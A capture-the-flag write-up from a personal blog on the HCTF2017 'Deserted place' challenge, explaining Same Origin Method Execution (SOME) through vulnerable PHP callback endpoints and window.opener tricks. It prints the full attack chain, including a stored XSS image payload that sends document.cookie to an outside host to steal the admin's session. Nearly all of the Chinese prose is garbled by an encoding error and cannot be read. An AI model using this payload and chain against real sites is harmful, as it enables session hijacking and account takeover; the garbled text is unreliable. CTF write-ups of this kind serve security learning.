LoRexxar's Blog

HCTF2017-Deserted place-Writeup

2017/11/15
1
2
3
4
5
6
7
Deserted place
Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3

鍑洪鎬濊矾鏉ヨ嚜浜庝竴涓瘮杈冪壒鍒殑鍙仛SOME鐨勬敾鍑绘柟寮忥紝鍏ㄥ悕Same Origin Method Execution锛岃繖鏄竴绉2015骞磋浜烘彁鍑烘潵鐨勬敾鍑绘柟寮忥紝鍙互鐢ㄦ潵鎵ц鍚屾簮鐜涓嬬殑浠绘剰鏂规硶锛2骞村墠灏辨湁浜哄仛浜嗗垎鏋愩

鍘焢aper
http://blog.safedog.cn/?p=13
https://lightless.me/archives/same-origin-method-exection.html

棰樼洰婧愮爜濡備笅
https://github.com/LoRexxar/HCTF2017-Deserted-place

鎴戜滑涓璧锋潵鐮旂┒涓涓

SOME锛

棣栧厛鎴戜滑涓璧锋潵鎺㈢┒涓涓猄OME鏄粈涔堬紵

SOMe,Same Origin Method Execution,杩欐槸Ben Hayak 鍦 Black Hat Eorope 2014 婕旇鐨勯鐩傚湪闅忓悗鐨15骞达紝鍏紑浜哠OME鐩稿叧鐨勫畬鏁磒aper锛屽叾涓杩颁簡鍜孲OME鐩稿叧鐨勫悇绉嶅満鏅拰鍒╃敤鎬濊矾銆傛湁鍏磋叮鐨勬湅鍙嬪彲浠ュ幓鐪嬬湅瑙嗛.

https://www.youtube.com/watch?v=OvarkOxxdic

鎴戜滑閮界煡閬搄sonp鏄敤鏉ヨВ鍐宠法鍩熷鐞嗘暟鎹棶棰樼殑瑙e喅鏂规锛屼絾鏄篃璁镐細鏈夎繖鏍蜂竴绉嶆儏鍐靛嚭鐜帮紝鏌愪釜缃戠珯鐨勬煇涓瘜鏂囨湰缂栬緫鍣ㄦ敮鎸侀夋嫨瀛椾綋棰滆壊锛屽綋浣犵偣鍑绘寜閽殑鏃跺欙紝浼氬脊鍑虹被浼间簬棰滆壊鐐归夊櫒鐨勮疆鐩樼綉椤碉紝褰撲綘閫夋嫨鏌愪竴棰滆壊鏃讹紝杩欎釜棰滆壊灏变細淇敼鍘熼〉闈㈢殑瀛椾綋椤甸潰锛岃繖涓帴鍙f垨璁告槸杩欐牱瀹炵幇鐨勩

1
http://a.com/color.php?callback=get_color

color.php鐨勪唬鐮佹槸杩欐牱鐨

1
2
3
4
5
6
7
8
9
<script>
function get_color(data) {
// todo here
}
</script>
<script>
<?php echo $_GET['callback']."();"; ?>
</script>

褰撹闂甤olor.php鐨勬椂鍊欙紝椤甸潰灏变細鑷姩鎵цget_color锛岃繖涓〉闈㈠拰鐖堕〉闈㈠悓婧愶紝缁撴瀯涔熷拰浼犵粺鐨刯sonp鎺ュ彛涓嶅お涓鏍凤紝浣嗚繖绉嶆儏鍐靛畬鍏ㄦ湁鍙兘鍙戠敓銆

涓鑸潵璇达紝鎴戜滑鍙兘浼氬皾璇曞湪get_color灏濊瘯domxss锛岄仐鎲剧殑鏄紝澶ч儴鍒嗚繖鏍风殑鎺ュ彛閮藉彧鍏佽.\w+鐨勫瓧绗﹁緭鍏ャ

鑰孲OME鏀诲嚮锛屽氨鏄湪杩欑鍦烘櫙涓嬪嚭鐜扮殑锛屽湪callback杩欓噷鐨勭己闄峰彲浠ュ鑷存墽琛屽悓婧愪笅鐨浠绘剰鏂规硶锛屽煎緱娉ㄦ剰鐨勬槸锛岃繖绉嶆敾鍑绘柟娉曞苟涓嶆槸csrf锛屼粬鍙互瀹屽叏妯℃嫙浣犵殑浠讳綍琛屼负銆

杩欑鏀诲嚮鏂瑰紡鏈夊嚑涓眬闄愭:
1銆佸彈鍒拌繑鍥炲ご鐨勫奖鍝嶏紝濡傛灉杩斿洖澶翠负Content-T ype: application/json,鍒欎换浣曞埄鐢ㄩ兘涓嶄細鐢熸晥銆
2銆佹敾鍑昏呮病鍔炴硶鎿嶄綔鎵ц鍑芥暟浼犲叆鍙傛暟锛屾垨鑰呭彲浠ヨ鏄瘮杈冮毦鎿嶄綔銆
3銆佸彈鍒板悓婧愮瓥鐣ョ殑闄愬埗锛屽彧鑳芥墽琛屽悓婧愪笅鐨勪换鎰忔柟娉曘

璁╂垜浠潵娴嬭瘯涓涓

棣栧厛鎴戜滑闇瑕佷竴涓珯鐐规潵妯℃嫙涓涓

index.html

1
2
3
4
5
6
7
8
<form>
<button onclick="c()">Secret Button</button>
</form>
<script>
function c() {
alert("LoRexxar click!");
}
</script>

jsonp.php

1
2
3
4
5
6
<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];
echo "<script>";
echo $callback . "()";
echo "</script>";

鎴戜滑鍋囪click鏄竴涓晱鎰熺殑鎸夐挳锛岃繖绉嶆儏鍐垫垜浠彲浠ラ氳繃SOME鏉ョ偣鍑昏繖涓寜閽潵鎵ц鐩稿簲鐨刯s銆

棣栧厛鎴戜滑闇瑕佷竴涓猻ome1.html

1
2
3
4
5
6
7
8
<script>
function start_some() {
window.open("some2.html");
location.replace("http://b.com/index.html");
}
setTimeout(start_some(), 1000);
</script>

鍏舵闇瑕佷竴涓猻ome2.html

1
2
3
4
5
6
7
8
<script>
function attack() {
location.replace("http://b.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
}
setTimeout(attack, 2000);
</script>

褰撴垜浠墦寮some1.html鐨勬椂鍊欙紝c鍑芥暟鎴愬姛琚墽琛屼簡

image.png-32.4kB

杩欑鏀诲嚮鏂瑰紡鍦ㄥぇ鍨嬬珯鐐硅秺鍙戠殑甯歌锛孲OME鐨勪綔鑰呬妇渚嬪瓙灏辩敤浜唚ordpress鐨勪竴涓紡娲烇紝閫氳繃鎺ュ彛鍙互鍦╳ordpress涓畨瑁呮兂瑕佺殑鎻掍欢锛屽鑷磄etshell绛夋洿涓ラ噸鐨勬紡娲炪

Deserted place Writeup

鍥炲埌棰樼洰銆

鎵撳紑棰樼洰涓昏鍔熻兘鏈夐檺锛
1銆佺櫥闄
2銆佹敞鍐
3銆佷慨鏀逛釜浜轰俊鎭紙淇敼涓汉淇℃伅鍚庢寜鍥炶溅鏇存柊鑷繁鐨勪俊鎭級銆
4銆佽幏鍙栭殢鏈轰竴涓汉鐨勪俊鎭紝骞舵妸瀹冪殑淇℃伅鏇存柊缁欐垜鑷繁

绠鍗曟祴璇曞彲浠ュ彂鐜帮紝涓汉淇℃伅椤甸潰瀛樺湪self-xss锛屼絾闂灏卞湪浜庢庝箞鑳芥洿鏂癮dmin鐨勪釜浜轰俊鎭

浠旂粏鍥為【绔欏唴鐨勫悇绉嶄俊鎭紝鎴戜滑鑳藉彂鐜版墍鏈夌殑鏇存柊涓汉淇℃伅閮芥槸閫氳繃寮鍚瓙绐楀彛鏉ュ疄鐜扮殑銆

edit.php閲岄潰鏈変竴涓被浼间簬jsonp鐨勬帴鍙e彲浠ユ墽琛屼换鎰忓嚱鏁帮紝绠鍗曟祴璇曞彲浠ュ彂鐜拌繖閲屾鍒欏尮閰嶄簡.\w+锛岃繖鎰忓懗杩欐垜浠彧鑳芥墽琛屽凡鏈夌殑js鍑芥暟锛屾垜浠彲浠ョ湅鐪嬪悗鍙扮殑浠g爜銆

1
2
3
4
5
6
7
8
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
...
echo "<script>";
echo $matches[0]."();";
echo "</script>";

宸叉湁鐨勫嚱鏁颁竴鍏辨湁3涓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}

濡傛灉鎵цUpdateProfile锛岀珯鍐呭氨浼氭妸瀛愮獥鍙g殑鍐呭鍙戦佸埌鐖剁獥鍙d腑銆備絾鏄垜浠繕鏄病鍔炴硶鎺у埗淇敼鐨勫唴瀹广

鍥為【绔欏唴閫昏緫锛屽綋鎴戜滑鐐瑰嚮click me锛岄鍏堣姹/edit.php?callback=RandomProfile锛岀劧鍚庤烦杞嚦浠绘剰http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming锛岀劧鍚庨〉闈㈠叧闂苟锛屾洿鏂颁俊鎭埌褰撳墠鐢ㄦ埛涓婏紝鍋囪杩欓噷user鏄垜浠瀹氱殑杩樻湁鎭舵剰浠g爜鐨剈ser锛岄偅鎴戜滑灏卞彲浠ヤ慨鏀筧dmin鐨勪俊鎭簡锛屼絾锛屾庝箞鑳借admin鎵撳紑杩欎釜椤甸潰鍛紵

鎴戜滑鍙互灏濊瘯涓涓紝濡傛灉鐩存帴鎵撳紑edit.php?callback=RandomProfile&user=xiaoming
image.png-7.7kB

鎶ラ敊浜嗭紝涓嶆槸閫氳繃open鎵撳紑鐨勯〉闈紝瀵绘壘涓嶅埌椤甸潰鍐呯殑window.opener瀵硅薄锛屼篃灏辨病鍔炴硶鍋氫换浣曚簨銆

杩欓噷鎴戜滑鍙湁閫氳繃SOME锛屾墠鑳芥搷浣滃悓婧愪笅鐨勭埗绐楀彛锛岄鍏堟垜浠緱鐔熸倝鍚屾簮绛栫暐锛屽悓婧愮瓥鐣ヨ瀹氾紝鍙湁鍚屾簮涓嬬殑椤甸潰鎵嶈兘鐩镐簰璇诲啓锛屽鏋滈氳繃windows.open鎵撳紑鐨勯〉闈㈡槸鍚屾簮鐨勶紝閭d箞鎴戜滑灏卞彲浠ラ氳繃window.opener瀵硅薄鏉ユ搷浣滅埗瀛愮獥鍙c

鑰孲OME灏辨槸鍩轰簬杩欑鐗规э紝鍙互鎵ц鍚屾簮涓嬬殑浠绘剰鏂规硶銆

鏈缁坧ayload锛

vps, 1.html

1
2
3
4
5
6
7
8
<script>
function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>

vps, 2.html

1
2
3
4
5
6
7
8
<script>
function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>

鍦╨orexxar璐︽埛鐨刴essage閲屾坊鍔爌ayload

1
2
<img src="\" onerror=window.location.href='http://0xb.pw?cookie='%2bdocument.cookie>

getflag!

CATALOG
  1. 1. SOME锛
    1. 1.1. 璁╂垜浠潵娴嬭瘯涓涓
  2. 2. Deserted place Writeup